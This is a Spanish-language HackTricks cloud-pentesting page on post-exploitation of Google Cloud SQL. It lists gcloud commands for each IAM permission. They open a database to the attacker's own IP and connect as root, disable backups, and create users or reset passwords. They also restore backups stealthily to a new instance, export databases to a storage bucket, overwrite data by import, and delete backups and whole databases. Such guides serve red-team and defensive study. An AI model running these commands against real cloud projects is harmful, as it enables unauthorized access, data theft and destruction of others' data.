GCP - Cloud SQL Post Exploitation

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks

• Revisa los planes de suscripción!

• Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.

• Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.

Cloud SQL

Para más información sobre Cloud SQL consulta:

GCP - Cloud SQL Enum

cloudsql.instances.update, ( cloudsql.instances.get)

Para conectarte a las bases de datos solo necesitas acceso al puerto de la base de datos y conocer el nombre de usuario y contraseña, no hay requisitos de IAM. Así que, una forma fácil de obtener acceso, suponiendo que la base de datos tiene una dirección IP pública, es actualizar las redes permitidas y permitir que tu propia dirección IP acceda a ella.

# Use --assign-ip to make the database get a public IPv4
gcloud sql instances patch $INSTANCE_NAME \
--authorized-networks "$(curl ifconfig.me)" \
--assign-ip \
--quiet

mysql -h <ip_db> # If mysql

# With cloudsql.instances.get you can use gcloud directly
gcloud sql connect mysql --user=root --quiet

También es posible usar --no-backup para interrumpir las copias de seguridad de la base de datos.

Dado que estos son los requisitos, no estoy completamente seguro de cuáles son los permisos cloudsql.instances.connect y cloudsql.instances.login. Si lo sabes, ¡envía un PR!

cloudsql.users.list

Obtén una lista de todos los usuarios de la base de datos:

gcloud sql users list --instance <intance-name>

cloudsql.users.create

Este permiso permite crear un nuevo usuario dentro de la base de datos:

gcloud sql users create <username> --instance <instance-name> --password <password>

cloudsql.users.update

Este permiso permite actualizar un usuario dentro de la base de datos. Por ejemplo, podrías cambiar su contraseña:

gcloud sql users set-password <username> --instance <instance-name> --password <password>

cloudsql.instances.restoreBackup, cloudsql.backupRuns.get

Las copias de seguridad pueden contener información sensible antigua, por lo que es interesante revisarlas. Restaurar una copia de seguridad dentro de una base de datos:

gcloud sql backups restore <backup-id> --restore-instance <instance-id>

Para hacerlo de una manera más sigilosa, se recomienda crear una nueva instancia de SQL y recuperar los datos allí en lugar de en las bases de datos que se están ejecutando actualmente.

cloudsql.backupRuns.delete

Este permiso permite eliminar copias de seguridad:

gcloud sql backups delete <backup-id> --instance <instance-id>

cloudsql.instances.export, storage.objects.create

Exportar una base de datos a un Bucket de Cloud Storage para que puedas acceder a ella desde allí:

# Export sql format, it could also be csv and bak
gcloud sql export sql <instance-id> <gs://bucketName/fileName> --database <db>

cloudsql.instances.import, storage.objects.get

Importar una base de datos (sobrescribir) desde un Bucket de Cloud Storage:

# Import format SQL, you could also import formats bak and csv
gcloud sql import sql <instance-id> <gs://bucketName/fileName>

cloudsql.databases.delete

Eliminar una base de datos de la instancia de db:

gcloud sql databases delete <db-name> --instance <instance-id>

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks

• Revisa los planes de suscripción!

• Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.

• Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.